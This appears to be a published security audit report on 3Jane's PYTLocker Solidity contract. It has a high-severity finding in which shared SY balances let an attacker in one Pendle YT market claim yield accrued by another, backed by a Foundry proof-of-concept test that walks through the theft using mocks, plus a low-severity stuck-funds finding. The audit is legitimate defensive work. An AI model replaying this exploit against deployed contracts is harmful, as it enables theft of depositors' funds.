Contact
Reports

Smart Contract Security Assessment

3Jane PYTLocker Security Review

Protocol
3Jane
Timeline
May 13, 2026 - May 14, 2026
Audit Team
Fedebianlu, Panda
Contents

Protocol Overview

PYTLocker permanently locks Pendle Yield Tokens and distributes harvested yield to depositors using reward-per-share accounting.
This audit covers 1 smart contract totaling approximately 155 lines ofSolidity code across 2 days of review.

Severity Classification

SeverityDescriptionPotential Impact
CriticalImmediate threat to user funds or protocol integrityDirect loss of funds, protocol compromise
HighSignificant security risk requiring urgent attentionPotential fund loss, major functionality disruption
MediumImportant issue that should be addressedLimited fund risk, functionality concerns
LowMinor issue with minimal impactBest practice violations, minor inefficiencies
UndeterminedFindings whose impact could not be fully assessed within the time constraints of the engagement. These issues may range from low to critical severity, and although their exact consequences remain uncertain, they present a sufficient potential risk to warrant attention and remediation.Varies based on actual severity
GasFindings that can improve the gas efficiency of the contracts.Increased transaction costs
InformationalCode quality and best practice recommendationsReduced maintainability and readability

Key Findings

0
Critical
1
High
0
Medium
1
Low
0
Informational
0
Gas

Evaluation Matrix

access control
Excellent
Centralized owner actions remain important for PYTLocker market onboarding, market caps, and sweep behavior.
mathematics
Excellent
The core reward-per-share accounting is simple and includes remainder handling
complexity
Good
The contract is small, but PYTLocker combines custody and accounting for multiple externally-defined Pendle markets in one contract, which increases integration complexity and makes market isolation important.
libraries
Excellent
The contract relies on OpenZeppelin primitives for ownership, safe transfers, math, and reentrancy guards.
decentralization
Excellent
The owner can configure supported YT markets, set market caps, and sweep non-protected tokens.
documentation
Excellent
The code includes clear inline documentation for the core PYTLocker flow.
testing
Good
The repository includes unit, fork, and invariant tests for PYTLocker. However, the existing handler and mocks primarily model 1:1 SY behavior and do not fully cover real Pendle edge cases such as shared SY balances, non-1:1 wrappers, and rebasing payout assets.

Overall Assessment

The reviewed contract is compact and generally straightforward, but it has meaningful integration risk because multiple Pendle markets, SY balances, payout assets, and market-specific redemption semantics are multiplexed through a single contract.

Findings Summary

H-1Finding

H-1: Shared SY balances can be credited to the wrong YT market

High

Description:

addMarket() stores a per-YT SY address but does not enforce that each SY is unique across markets. During _harvest, the contract calls redeemDueInterestAndRewards for the requested YT and then redeems IERC20(m.sy).balanceOf(address(this)) in full, rather than only the SY amount produced by that call.

IPendleYT.redeemDueInterestAndRewards() is permissionless: any external caller can invoke it with user = address(pytLocker) and force that YT to send the locker's pending interest into the locker as SY. This bypasses PYTLocker._harvest entirely, so no PYTLocker accounting is updated, no PYTLocker event is emitted, and the locker simply observes a raw SY balance increase it cannot attribute to a market.

If two enabled markets share the same SY, which is a valid Pendle configuration when multiple maturities are created for the same underlying SY, a subsequent harvest() on the other market reads the contract-wide SY balance, redeems it in full, and credits the wrong YT's accYieldPerToken. The attack requires no privileged access and no interaction with PYTLocker before the final harvest.

Impact:

High. Depositors in one YT market can receive yield generated by another YT market, while the rightful market's depositors lose claimable rewards. If shared-SY markets are supported, an attacker positioned in one market may steal accrued yield from another market.

Recommendation:

Ensure each YT market has a unique Pendle address that holds its YT and receives its SY interest. This can be implemented by deploying a dedicated market contract per YT through a factory/proxy pattern.

Developer Response:

Fixed. Code has been changed to have a single market per contract here.

Proof Of Concept:

function test_poc() public {
    address victim = makeAddr("pyt-victim");
    address attacker_ = makeAddr("pyt-attacker");

    PYTLocker pytLocker = new PYTLocker(address(this));
    ERC20Mock payoutAsset = new ERC20Mock();
    AudithorMockSY sharedSy = new AudithorMockSY(payoutAsset);
    AudithorMockYT ytA = new AudithorMockYT(sharedSy);
    AudithorMockYT ytB = new AudithorMockYT(sharedSy);

    pytLocker.addMarket(address(ytA));
    pytLocker.addMarket(address(ytB));

    ytA.setBalance(victim, 100e18);
    ytB.setBalance(attacker_, 100e18);

    vm.startPrank(victim);
    ytA.approve(address(pytLocker), 100e18);
    pytLocker.deposit(address(ytA), 100e18);
    vm.stopPrank();

    vm.startPrank(attacker_);
    ytB.approve(address(pytLocker), 100e18);
    pytLocker.deposit(address(ytB), 100e18);
    vm.stopPrank();

    // Attacker step, executed outside PYTLocker. Anyone can call this directly on Pendle:
    // it pushes YT_A's pending interest into the locker as SY, with no PYTLocker accounting.
    ytA.setPendingInterest(address(pytLocker), 100e18);
    ytA.redeemDueInterestAndRewards(address(pytLocker), true, false);

    assertEq(sharedSy.balanceOf(address(pytLocker)), 100e18, "YT_A direct redemption should leave shared SY in locker");
    assertEq(pytLocker.accYieldPerToken(address(ytA)), 0, "YT_A accounting was not updated by direct redemption");

    pytLocker.harvest(address(ytB));

    assertEq(pytLocker.accYieldPerToken(address(ytA)), 0, "YT_A still receives no accounting credit");
    assertEq(pytLocker.accYieldPerToken(address(ytB)), 1e18, "YT_B is credited with YT_A interest through shared SY balance");
    assertEq(pytLocker.claimable(address(ytB), attacker_), 100e18, "attacker in YT_B can claim YT_A yield");

    vm.prank(attacker_);
    pytLocker.claim(address(ytB));
    assertEq(payoutAsset.balanceOf(attacker_), 100e18, "attacker receives the misattributed asset yield");
}
L-1Finding

L-1: Direct asset inflows are ignored by harvest accounting and cannot be swept

Low

Description:

PYTLocker._harvest() measures newly harvested yield with an asset balance delta. It snapshots beforeBal, calls Pendle, redeems the full SY balance into asset, and credits only afterBal - beforeBal to accYieldPerToken:

uint256 beforeBal = IERC20(asset).balanceOf(address(this));

IPendleYT(yt).redeemDueInterestAndRewards(address(this), true, true);

uint256 syBal = IERC20(sy).balanceOf(address(this));
if (syBal > 0) {
    IPendleSY(sy).redeem(address(this), syBal, asset, 0, false);
}

uint256 gained = IERC20(asset).balanceOf(address(this)) - beforeBal;

This correctly captures normal YT interest that arrives as SY, including SY that was externally pushed into the locker before harvest: _harvest() later redeems the existing SY balance after the asset snapshot, so the resulting asset delta is included in gained.

However, direct asset inflows that arrive before _harvest() are already included in beforeBal. They are therefore ignored by gained, never added to accYieldPerToken, and cannot be distributed by claim().

The locker also prevents owner recovery of direct asset inflows. It sets asset to IPendleSY(sy).yieldToken(), and sweep() rejects that token:

if (token == yt || token == sy || token == asset) revert CannotSweepProtectedToken();

This affects manual transfers, airdrops, or incentive distributions sent directly as asset. It also affects Pendle rewards only in the specific case where one of the YT reward tokens equals asset and is redeemed outside _harvest() through redeemDueInterestAndRewards(address(locker), false, true). Pendle rewards are otherwise intentionally handled separately through sweep() and Merkle distribution.

Impact:

Low. Extra value sent directly as asset to the locker can become stuck and undistributable. Users cannot claim it through claim(), and the owner cannot recover it with sweep() because asset is protected.

Recommendation:

If direct asset incentives should be supported, add an explicit privileged accounting path that credits existing excess asset balance into accYieldPerToken, or otherwise recovers it through a controlled distribution flow.

Developer Response:

Acknowledged. For our initial use case, asset should never be received by non-harvest flows. we are willing to accept this limitation as we believe more complex accounting or management accounting overrides would add complexity and footguns.